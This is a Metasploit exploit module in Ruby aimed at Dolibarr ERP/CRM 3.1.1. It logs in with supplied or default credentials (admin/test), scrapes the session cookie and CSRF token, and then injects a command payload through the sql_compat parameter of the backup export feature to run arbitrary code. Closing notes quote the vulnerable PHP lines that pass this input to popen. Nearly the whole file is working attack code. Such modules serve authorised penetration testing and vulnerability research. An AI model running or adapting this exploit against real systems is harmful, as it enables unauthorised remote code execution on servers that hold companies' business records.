##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Dolibarr ERP & CRM 3 Post-Auth OS Command Injection",
			'Description'    => %q{
					This module exploits a vulnerability found in Dolibarr ERP/CRM's
				backup feature.  This software is used to manage a company's business
				information such as contacts, invoices, orders, stocks, agenda, etc.
				When processing a database backup request, the export.php function
				does not check the input given to the sql_compat parameter, which allows
				a remote authenticated attacker to inject system commands into it,
				and then gain arbitrary code execution.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Nahuel Grisolia <nahuel[at]cintainfinita.com.ar>',  #Discovery, PoC
					'sinn3r'  #Metasploit
				],
			'References'     =>
				[
					['URL', 'http://seclists.org/fulldisclosure/2012/Apr/78']
				],
			'Arch'            => ARCH_CMD,
			'Compat'          =>
				{
					'PayloadType' => 'cmd'
				},
			'Platform'       => ['unix', 'linux'],
			'Targets'        =>
				[
					# Older versions are probably also vulnerable according to
					# Nahuel's report on full disclosure
					['Dolibarr 3.1.1 on Linux', {}]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Apr 6 2012",
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('USERNAME',  [true, 'Dolibarr Username', 'admin']),
					OptString.new('PASSWORD',  [true, 'Dolibarr Password', 'test']),
					OptString.new('TARGETURI', [true, 'The URI path to dolibarr', '/dolibarr/'])
				], self.class)
	end

	def check
		res = send_request_raw({
			'method' => 'GET',
			'uri'    => target_uri.path
		})

		if res.body =~ /Dolibarr 3\.1\.1/
			return Exploit::CheckCode::Appears
		else
			return Exploit::CheckCode::Safe
		end
	end

	def get_sid_token
		res = send_request_raw({
			'method' => 'GET',
			'uri'    => @uri.path
		})

		# Get the session ID from the cookie
		m = res.headers['Set-Cookie'].match(/(DOLSESSID_.+);/)
		id = (m.nil?) ? nil : m[1]

		# Get the token from the decompressed HTTP body response
		m = res.body.match(/type="hidden" name="token" value="(.+)"/)
		token = (m.nil?) ? nil : m[1]

		return id, token
	end

	def login(sid, token)
		res = send_request_cgi({
			'method'   => 'POST',
			'uri'      => "#{@uri.path}index.php",
			'cookie'   => sid,
			'vars_post' => {
				'token'         => token,
				'loginfunction' => 'loginfunction',
				'tz'            => '-6',
				'dst'           => '1',
				'screenwidth'   => '1093',
				'screenheight'  => '842',
				'username'      => datastore['USERNAME'],
				'password'      => datastore['PASSWORD']
			}
		})

		location = res.headers['Location']
		return (location =~ /admin\//)
	end

	def exploit
		@uri = target_uri
		@uri.path << "/" if @uri.path[-1, 1] != "/"
		peer = "#{rhost}:#{rport}"

		print_status("#{peer} - Getting the sid and token...")
		sid, token = get_sid_token
		if sid.nil?
			print_error("#{peer} - Unable to retrieve a session ID")
			return
		elsif token.nil?
			print_error("#{peer} - Unable to retrieve a token")
			return
		end

		user = datastore['USERNAME']
		pass = datastore['PASSWORD']
		print_status("#{peer} - Attempt to login with \"#{user}:#{pass}\"")
		success = login(sid, token)
		if not success
			print_error("#{peer} - Unable to login")
			return
		end

		print_status("#{peer} - Sending malicious request...")
		res = send_request_cgi({
			'method'    => 'POST',
			'uri'       => @uri.path + "admin/tools/export.php",
			'cookie'    => sid,
			'vars_post' => {
				'token'             => token,
				'export_type'       => 'server',
				'what'              => 'mysql',
				'mysqldump'         => '/usr/bin/mysqldump',
				'use_transaction'   => 'yes',
				'disable_fk'        => 'yes',
				'sql_compat'        => ";#{payload.encoded};",
				'sql_structure'     => 'structure',
				'drop'              => '1',
				'sql_data'          => 'data',
				'showcolumns'       => 'yes',
				'extended_ins'      => 'yes',
				'delayed'           => 'yes',
				'sql_ignore'        => 'yes',
				'hexforbinary'      => 'yes',
				'filename_template' => 'mysqldump_dolibarrdebian_3.1.1_201203231716.sql',
				'compression'       => 'none'
			}
		})

	end
end

=begin
Notes:

114    if ($_POST["sql_compat"] && $_POST["sql_compat"] != 'NONE') $param.=" --compatible=".$_POST["sql_compat"];
...
137    $paramcrypted=$param;
...
159    $fullcommandcrypted=$command." ".$paramcrypted." 2>&1";
...
165    if ($handle)
166    {
....
169    $handlein = popen($fullcommandclear, 'r');
....
185    }
=end